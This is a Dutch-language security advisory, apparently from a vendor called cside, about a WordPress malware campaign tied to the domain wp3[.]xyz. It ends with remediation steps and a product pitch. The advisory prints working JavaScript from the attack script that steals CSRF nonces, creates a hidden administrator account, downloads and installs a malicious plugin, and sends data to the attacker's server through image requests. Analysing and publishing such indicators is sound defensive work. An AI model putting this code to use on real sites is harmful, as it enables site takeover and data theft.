We hebben een wijdverspreide malware-campagne ontdekt die zich richt op WordPress-websites en meer dan 5.000 sites wereldwijd treft.
Het kwaadaardige domein: https://wp3[.]xyz/td.js.
Een van onze gebruikers werd getroffen. cside heeft de aanval gedetecteerd en gestopt.

Het is nog onduidelijk hoe de scripts op de sites terecht zijn gekomen. Tot nu toe hebben we geen gemeenschappelijke noemer geïdentificeerd en ons onderzoek loopt nog.
We weten wel dat het script ongeautoriseerde beheerdersaccounts aanmaakt met een gebruikersnaam en wachtwoord die in de code te vinden zijn.
- Gebruikersnaam: wpx_admin
- Wachtwoord: [GEREDIGEERD]
Na het aanmaken van het account downloadt het script een kwaadaardige WordPress-plugin en activeert deze op de nu geïnfecteerde website - waarbij gevoelige gegevens naar een externe server worden verzonden.
Controleer uw site nu om ongeautoriseerde beheerdersaccounts te verwijderen en verwijder ongebruikte plugins of thema's.
Vind geïnfecteerde websites via:
Het script in detail
Eerst haalt het script het CSRF-token op dat nodig is voor het verzoek. Vervolgens stuurt het een POST-verzoek om een gebruiker aan te maken met hardcoded inloggegevens. Het logt de status van de operatie.
async function createUser() {
const userPage = await fetch(`${window.location.origin}/wp-admin/user-new.php`, {
credentials: 'include',
headers: { 'Accept': 'text/html' }
}).then(r => r.text());
const doc = new DOMParser().parseFromString(userPage, 'text/html');
const csrfToken = doc.querySelector('input[name="_wpnonce_create-user"]')?.value;
if (!csrfToken) {
sendLog({ error: 'CSRF token not found', type: 'error' });
return;
}
const formData = new FormData();
formData.append('_wpnonce_create-user', csrfToken);
formData.append('user_login', 'wpx_admin');
formData.append('pass1', '[REDACTED BY CSIDE]');
formData.append('pass2', '[REDACTED BY CSIDE]');
formData.append('role', 'administrator');
const response = await fetch(`${window.location.origin}/wp-admin/user-new.php`, {
method: 'POST',
body: formData,
credentials: 'include'
});
sendLog({ status: response.ok ? 'success' : 'failed', type: 'user_create' });
}
Nadat het script de plugin heeft gedownload van https://wp3[.]xyz/plugin.php, activeert het script deze op de geïnfecteerde site. Het script communiceert met https://wp3[.]xyz/tdw1.php en verstuurt gevoelige gegevens zoals beheerdersreferenties en operatielogs via verduisterde afbeeldingsverzoeken.
function sendLog(data) {
const logUrl = 'https://wp3[.]xyz/tdw1.php';
const img = new Image(); // Logs data via an image request.
const timestamp = Date.now();
img.onerror = () => {
if (retryCount < maxRetries) {
retryCount++;
setTimeout(() => sendLog(data), 1000 * retryCount); // Retry with backoff.
}
};
img.src = `${logUrl}?data=${encodeURIComponent(JSON.stringify({
...data,
url: window.location.origin,
timestamp,
userAgent: navigator.userAgent
}))}&t=${timestamp}`;
}
Zodra de aanvaller beheerderstoegang heeft, uploadt het script een kwaadaardige plugin. Het haalt de plugin op van een externe server en uploadt deze naar de WordPress-site.
De installPlugin-functie werkt als volgt:
- Haalt de plugin-uploadpagina op om het CSRF-token te verkrijgen.
- Downloadt het kwaadaardige pluginbestand.
- Dient het pluginbestand in voor installatie.
Het gebruikt vervolgens de volgende technieken:
- Uploaden van de plugin via: /wp-admin/update[.]php?action=upload-plugin.
- Ophalen van de plugin van een externe bron: https://wp3[.]xyz.
async function installPlugin() {
const pluginPage = await fetch(`${window.location.origin}/wp-admin/plugin-install.php?tab=upload`, {
credentials: 'include',
headers: { 'Accept': 'text/html' }
}).then(r => r.text());
const pluginDoc = new DOMParser().parseFromString(pluginPage, 'text/html');
const pluginToken = pluginDoc.querySelector('input[name="_wpnonce"]')?.value;
if (pluginToken) {
const pluginData = await fetch('https://wp3[.]xyz/plugin.php', {
mode: 'no-cors'
}).then(r => r.blob());
const pluginForm = new FormData();
pluginForm.append('_wpnonce', pluginToken);
pluginForm.append('pluginzip', pluginData, 'plugin.zip');
const response = await fetch(`${window.location.origin}/wp-admin/update.php?action=upload-plugin`, {
method: 'POST',
body: pluginForm,
credentials: 'include'
});
sendLog({ type: 'plugin', status: response.ok ? 'installed' : 'failed' });
}
}
Het script verifieert ten slotte of de kwaadaardige plugin succesvol is geïnstalleerd door te controleren op verwijzingen naar https://wp3[.]xyz in de website-inhoud.
const finalCheck = await fetch(window.location.origin, {
credentials: 'include',
headers: { 'Accept': 'text/html' }
}).then(r => r.text());
if (finalCheck.includes('wp3[.]xyz')) {
sendLog({ type: 'verification', status: 'success', message: 'Payload verified' });
} else {
sendLog({ type: 'verification', status: 'failed', message: 'Payload not found' });
}
Bescherm tegen deze aanval
- Blokkeer het domein https://wp3[.]xyz in firewalls of beveiligingstools.
- Controleer WordPress-beheerdersaccounts op ongeautoriseerde gebruikers.
- Verwijder verdachte plugins en valideer bestaande.
- Versterk CSRF-bescherming en implementeer multi-factor authenticatie (MFA).
- Overweeg het gebruik van cside
De geïnfecteerde gebruiker gebruikte de gratis versie van cside. U kunt cside installeren om uw site binnen enkele minuten te beschermen tegen deze en vergelijkbare aanvallen.
cside proxyt alle scripts voor realtime analyse, waarschuwingen en het blokkeren van potentieel kwaadaardige scripts. Dit script opgehaald van https://wp3[.]xyz/tdw.js werd succesvol gedetecteerd en geblokkeerd op de website van onze gebruiker.
Neem contact met ons op als u zich zorgen maakt of wilt overstappen naar de hogere tiers.
Controleer uw site op alle beheerders en zorg ervoor dat hun wachtwoorden en 2FA correct zijn ingesteld. U kunt onze publieke crawler gebruiken om te controleren op potentieel kwaadaardige scripts op uw website.




